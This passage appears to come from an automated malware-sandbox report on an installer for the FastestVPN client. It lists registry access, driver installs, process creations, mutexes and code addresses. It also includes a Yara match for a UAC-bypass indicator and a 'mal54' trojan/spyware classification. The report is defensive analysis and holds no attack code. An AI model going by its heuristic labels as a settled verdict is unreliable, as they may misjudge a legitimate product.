    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\Service1
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
    Reads the System eventlog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\FastestVPNService
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\FastestVPNService
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

    System Summary

    barindex
    Malicious sample detected (through community Yara rule)
    Source: C:\Program Files\FastestVPN\Resources\is-APR4M.tmp, type: DROPPEDMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
    .NET source code contains very large strings
    Source: is-LKGMK.tmp.2.dr, WelcomePage.csLong String: Length: 14757
    Uses regedit.exe to modify the Windows registry
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\regedit.exe regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_10014000: ?nf_getDriverType@nfapi@@YAKXZ,EnterCriticalSection,LeaveCriticalSection,DeviceIoControl,LeaveCriticalSection,LeaveCriticalSection,28_2_10014000
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_100134A0 ?nf_unRegisterDriver@nfapi@@YA?AW4_NF_STATUS@@PBD@Z,OpenSCManagerA,OpenServiceA,DeleteService,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,SetLastError,28_2_100134A0
    Source: C:\Windows\System32\xcopy.exeFile created: C:\Windows\system32\drivers\fastestvpndriver.sys
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}Jump to behavior
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_6d4bec28a2ef0cdfJump to behavior
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\drvstore.tmpJump to behavior
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\inf\oem4.infJump to behavior
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\SETDAB9.tmpJump to behavior
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\SETDAB9.tmpJump to behavior
    Source: C:\Windows\System32\xcopy.exeFile created: C:\Windows\system32\drivers\fastestvpndriver.sys
    Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
    Source: C:\Windows\System32\drvinst.exeFile deleted: C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\SETD153.tmpJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD52E012_2_00007FF7FEDD52E0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD41D012_2_00007FF7FEDD41D0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0E0B012_2_00007FF7FEE0E0B0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE1A07012_2_00007FF7FEE1A070
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0BD1812_2_00007FF7FEE0BD18
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE03F1412_2_00007FF7FEE03F14
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDF3F1012_2_00007FF7FEDF3F10
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE19BC012_2_00007FF7FEE19BC0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDF3C8C12_2_00007FF7FEDF3C8C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDF59DC12_2_00007FF7FEDF59DC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDF56FC12_2_00007FF7FEDF56FC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE196F012_2_00007FF7FEE196F0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD13E012_2_00007FF7FEDD13E0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE1115412_2_00007FF7FEE11154
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDF543012_2_00007FF7FEDF5430
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDDB1FC12_2_00007FF7FEDDB1FC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE1D16812_2_00007FF7FEE1D168
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE1115412_2_00007FF7FEE11154
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDF515012_2_00007FF7FEDF5150
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD703012_2_00007FF7FEDD7030
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDF4E5C12_2_00007FF7FEDF4E5C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDF4B7C12_2_00007FF7FEDF4B7C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE1292012_2_00007FF7FEE12920
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0E81012_2_00007FF7FEE0E810
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE1A7C012_2_00007FF7FEE1A7C0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0C73812_2_00007FF7FEE0C738
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDF491412_2_00007FF7FEDF4914
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE166E812_2_00007FF7FEE166E8
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDF469812_2_00007FF7FEDF4698
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0264012_2_00007FF7FEE02640
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE183E412_2_00007FF7FEE183E4
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE1434012_2_00007FF7FEE14340
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDF443012_2_00007FF7FEDF4430
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDF41AC12_2_00007FF7FEDF41AC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE1216012_2_00007FF7FEE12160
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE222DC12_2_00007FF7FEE222DC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0E0B012_2_00007FF7FEE0E0B0
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_0040292028_2_00402920
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_00404DDB28_2_00404DDB
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_1000206028_2_10002060
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_1000A0A028_2_1000A0A0
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_10009A8128_2_10009A81
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_10005C6028_2_10005C60
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_1000BD2128_2_1000BD21
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_1000162028_2_10001620
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_0559336632_2_05593366
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 32_2_055938B432_2_055938B4
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_060D701A36_2_060D701A
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_060D712E36_2_060D712E
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_060D6E5836_2_060D6E58
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_06133C1A36_2_06133C1A
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_06132FE236_2_06132FE2
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_06365CD636_2_06365CD6
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0636490036_2_06364900
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0C27479936_2_0C274799
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0C27317E36_2_0C27317E
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0C27305A36_2_0C27305A
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0C2926E836_2_0C2926E8
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0C292FF536_2_0C292FF5
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0C295D0B36_2_0C295D0B
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0C29BB5936_2_0C29BB59
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0C675C5236_2_0C675C52
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0199382836_2_01993828
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_066D56C036_2_066D56C0
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_066DB09036_2_066DB090
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_066D7B3036_2_066D7B30
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_066D0D2836_2_066D0D28
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_066D0D1836_2_066D0D18
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_066DBA9736_2_066DBA97
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0BDBA1B036_2_0BDBA1B0
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0BDBA91036_2_0BDBA910
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0BDB690036_2_0BDB6900
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0BDB589836_2_0BDB5898
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0BDB803036_2_0BDB8030
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0BDB374836_2_0BDB3748
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0BDBB63036_2_0BDBB630
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0BDBDD4036_2_0BDBDD40
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0BDB237036_2_0BDB2370
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0BDB4D8036_2_0BDB4D80
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_0C6C004036_2_0C6C0040
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 39_2_01865F4839_2_01865F48
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 40_2_010383F640_2_010383F6
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_03F5699C45_2_03F5699C
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_03F53D9F45_2_03F53D9F
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_042C598845_2_042C5988
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_042C5F9F45_2_042C5F9F
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_043976B745_2_043976B7
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_0441571D45_2_0441571D
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_044A398645_2_044A3986
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_0450327645_2_04503276
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_0450699845_2_04506998
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_045033B945_2_045033B9
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_0126D08F45_2_0126D08F
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_04505D9D45_2_04505D9D
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 46_2_034DA52846_2_034DA528
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 46_2_034DADF846_2_034DADF8
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 46_2_034DA1E046_2_034DA1E0
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 52_2_032F208C52_2_032F208C
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 52_2_032F206352_2_032F2063
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 52_2_032F20C052_2_032F20C0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeProcess token adjusted: Load DriverJump to behavior
    Source: C:\Windows\System32\svchost.exeProcess token adjusted: SecurityJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: String function: 1000A044 appears 35 times
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: String function: 0103E03C appears 110 times
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: String function: 0103E368 appears 75 times
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: String function: 00007FF7FEE081A8 appears 48 times
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2988 -ip 2988
    Source: mapMd1URzq.tmp.0.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
    Source: is-OAN7C.tmp.2.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
    Source: mapMd1URzq.exe, 00000000.00000000.2128823423.00000000004B9000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFileName vs mapMd1URzq.exe
    Source: mapMd1URzq.exe, 00000000.00000003.2134124471.000000007FE2E000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileName vs mapMd1URzq.exe
    Source: mapMd1URzq.exe, 00000000.00000003.2132204149.0000000002B62000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileName vs mapMd1URzq.exe
    Source: mapMd1URzq.exeBinary or memory string: OriginalFileName vs mapMd1URzq.exe
    Source: mapMd1URzq.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
    Source: C:\Program Files\FastestVPN\Resources\is-APR4M.tmp, type: DROPPEDMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
    Source: is-6E016.tmp.2.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
    Source: is-KN6S1.tmp.2.drBinary string: Type the password for user :--- DEBUG NetDfsGetClientInfo Dfs path detected = --- DEBUG NetDfsGetClientInfo NetStatus = --- DEBUG NetDfsGetClientInfo DfsPath to check = \\%[^\]\%[^\]--- DEBUG NetDfsGetClientInfo exists in NetApi32.lib. DfsPath is checked = --- DEBUG NetDfsGetClientInfo not existing in NetApi32.lib. DfsPath not checked = NetDfsGetClientInfoNetApi32.dll--- DEBUG FileFullPathName Default Sam Server will be = --- DEBUG FileFullPathName ShareName is = --- DEBUG FileFullPathName Server is = \Device\LanmanRedirector\;%[^\]\%[^\]\%s\Device\LanmanRedirector\\Device\WinDfs\ privileges to run this tool successfullyYou may need privilege. This privilege may be required. WARNING :Unable to set SeDebugPrivilegeSeChangeNotifyPrivilegeSeTakeOwnershipPrivilegeSeBackupPrivilegeSeSecurityPrivilegeSeRestorePrivilegeCheckPriv : Memory ExhaustedParsing registry key error :Could not open Sam Server :Error OpenSCManager : will not be processed. Dfs path is not supported--- DEBUG ObjCreateInstance - Error FileFullPathName = Remote access is not allowed for kernelobject or process--- DEBUG ObjCreateInstance - Default Sam Server will be = - DfsPath is not supported
    Source: is-FH0V4.tmp.2.drBinary string: seclevelZwQueryInformationProcessdisabledcallouts\DosDevices\CtrlSM\Device\CtrlSM\Registry\Machine\SYSTEM\ControlSet001\services\webssxFlow Established CalloutNFSDK Flow Established CalloutStream CalloutNFSDK Stream Callout\Registry\Machine\SYSTEM\ControlSet001\services\%samoncdw7amoncdw8symnetsnisdrvNFSDK Recv SublayerIPNFSDK Recv SublayerPROTNFSDK Recv SublayerNFSDK Sublayeracsockaswstmepfwwfprepfwwfpbdfwfpf_pcfsniklwfpswi_calloutNFSDK Provider
    Source: is-A7TIP.tmp.2.drBinary string: \Device\CtrlSM
    Source: is-CEAE4.tmp.2.drBinary string: \Device\.tap\DosDevices\Global\.tapdiagTAP-Windows Adapter V9
    Source: SETDAB9.tmp.17.drBinary string: \Device\
    Source: classification engineClassification label: mal54.troj.spyw.expl.evad.winEXE@79/329@0/1
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD52E0 CharNextW,CharNextW,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,InitiateSystemShutdownExW,12_2_00007FF7FEDD52E0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD4D80 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,InitiateSystemShutdownExW,12_2_00007FF7FEDD4D80
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_100139D0 ?nf_adjustProcessPriviledges@nfapi@@YAXXZ,GetCurrentProcessId,OpenProcess,OpenProcessToken,CloseHandle,LookupPrivilegeValueA,CloseHandle,CloseHandle,AdjustTokenPrivileges,CloseHandle,CloseHandle,CloseHandle,28_2_100139D0
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 40_2_0101CA79 LookupPrivilegeValueW,AdjustTokenPrivileges,PrivilegeCheck,GetLastError,_CxxThrowException,40_2_0101CA79
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: OpenSCManagerA,CreateServiceW,CloseServiceHandle,GetLastError,GetLastError,OpenServiceA,QueryServiceStatus,StartServiceA,GetLastError,CloseServiceHandle,GetLastError,CloseServiceHandle,SetLastError,28_2_10013540
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_10013540 OpenSCManagerA,CreateServiceW,CloseServiceHandle,GetLastError,GetLastError,OpenServiceA,QueryServiceStatus,StartServiceA,GetLastError,CloseServiceHandle,GetLastError,CloseServiceHandle,SetLastError,28_2_10013540
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_012613E8 StartServiceCtrlDispatcherW,45_2_012613E8
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_012613E2 StartServiceCtrlDispatcherW,45_2_012613E2
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPNJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Users\Public\Desktop\FastestVPN.lnkJump to behavior
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5292:120:WilError_03
    Source: C:\Windows\System32\drvinst.exeMutant created: \BaseNamedObjects\DrvInst.exe_mutex_{5B10AC83-4F13-4fde-8C0B-B85681BA8D73}
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6408:120:WilError_03
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMutant created: \Sessions\1\BaseNamedObjects\Global\netfxeventlog.1.0
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5192:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6868:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6928:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6944:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3560:120:WilError_03
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMutant created: \Sessions\1\BaseNamedObjects\Global\8C9EED5B-604B-4700-866A-6A9606527CC6
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3796:120:WilError_03
    Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2988
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5476:120:WilError_03
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMutant created: \Sessions\1\BaseNamedObjects\F7ADS2TDE9SFT7VCP4NAF2A1S4TAE7S8TBVDPEN5FAA3S0T3EFS6T1V4PDN4F8user
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1808:120:WilError_03
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
    Source: C:\Users\user\Desktop\mapMd1URzq.exeFile created: C:\Users\user\AppData\Local\Temp\is-T79UM.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\driver\install_tap.bat""
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCommand line argument: nfregdvr28_2_00401050
    Source: C:\Users\user\Desktop\mapMd1URzq.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
    Source: C:\Users\user\Desktop\mapMd1URzq.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile read: C:\Program Files\desktop.iniJump to behavior
    Source: C:\Users\user\Desktop\mapMd1URzq.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganizationJump to behavior
    Source: tapinstall.exeString found in binary or memory: itioned on the newly-added filter. ! Deletes the next occurrence of the specified filter. When the subcommand
    Source: tapinstall.exeString found in binary or memory: of the list. When the subcommand completes, the cursor is positioned on the newly-added filter. + Add after. I
    Source: FastestVPN.WindowsService.exeString found in binary or memory: registerHubProxies(proxies, true); this._registerSubscribedHubs(); }).disconnected(function () { // Unsubscribe all hub proxies when we "disconnect". This is to ensure that we do not re-add functional call backs.
    Source: FastestVPN.WindowsService.exeString found in binary or memory: /installtunnelservice "
    Source: mapMd1URzq.exeString found in binary or memory: /LOADINF="filename"
    Source: C:\Users\user\Desktop\mapMd1URzq.exeFile read: C:\Users\user\Desktop\mapMd1URzq.exeJump to behavior
    Source: unknownProcess created: C:\Users\user\Desktop\mapMd1URzq.exe "C:\Users\user\Desktop\mapMd1URzq.exe"
    Source: C:\Users\user\Desktop\mapMd1URzq.exeProcess created: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp "C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp" /SL5="$103C6,10597393,735744,C:\Users\user\Desktop\mapMd1URzq.exe"
